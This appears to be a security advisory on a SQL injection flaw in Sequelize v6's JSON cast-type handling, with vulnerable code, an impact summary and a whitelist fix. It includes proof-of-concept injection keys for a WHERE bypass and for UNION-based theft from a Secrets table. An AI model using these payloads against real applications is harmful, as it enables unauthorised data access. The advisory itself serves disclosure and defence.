Back to Home

Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type

Summary: A critical SQL injection vulnerability has been identified in Sequelize v6, specifically concerning unescaped cast type processing within JSON/JSONB where clauses. The _traverseJSON() function fails to properly validate cast types, allowing attackers to inject arbitrary SQL commands.

The Vulnerability

The issue resides in src/dialects/abstract/query-generator.js. The _traverseJSON() function extracts a cast type from JSON keys using the :: delimiter without any validation or escaping before it is interpolated into the final SQL query.

// Affected code in query-generator.js (line 1892)
_traverseJSON(items, baseKey, prop, item, path) {
    let cast;
    if (path[path.length - 1].includes("::")) {
      const tmp = path[path.length - 1].split("::");
      cast = tmp[1];       // attacker-controlled, no escaping
      path[path.length - 1] = tmp[0];
    }
    // ...
    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));
}

An attacker who controls JSON object keys can inject arbitrary SQL. For example, a key like role::text) or 1=1-- would result in CAST(... AS TEXT) OR 1=1--), effectively bypassing authentication or exfiltrating data.

Impact Analysis

SQL Injection (CWE-89): Any application passing user-controlled objects as where clause values for JSON columns is vulnerable. Attackers can exfiltrate data via UNION-based or boolean-blind injection techniques.

Affected Versions: v6.x through 6.37.7. Note: v7 (@sequelize/core) is not affected.

Proof of Concept

Testing against a vulnerable Sequelize instance demonstrates how an attacker can bypass filters or perform cross-table exfiltration:

// WHERE clause bypass PoC
const r1 = await User.findAll({
  where: { metadata: { 'role::text) or 1=1--': 'anything' } }
});
// Returns ALL rows: ['alice', 'bob', 'charlie']

// UNION-based exfiltration
const r2 = await User.findAll({
  where: {
    metadata: {
      'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'
    }
  },
  raw: true
});

Recommended Fix

The solution is to implement a whitelist for allowed SQL data types. Any cast type not present in the whitelist should be rejected immediately.

const ALLOWED_CAST_TYPES = new Set([
  'integer', 'text', 'real', 'numeric', 'boolean', 'date',
  'timestamp', 'timestamptz', 'json', 'jsonb', 'float',
  'double precision', 'bigint', 'smallint', 'varchar', 'char',
]);

if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {
  throw new Error(`Invalid cast type: ${cast}`);
}

References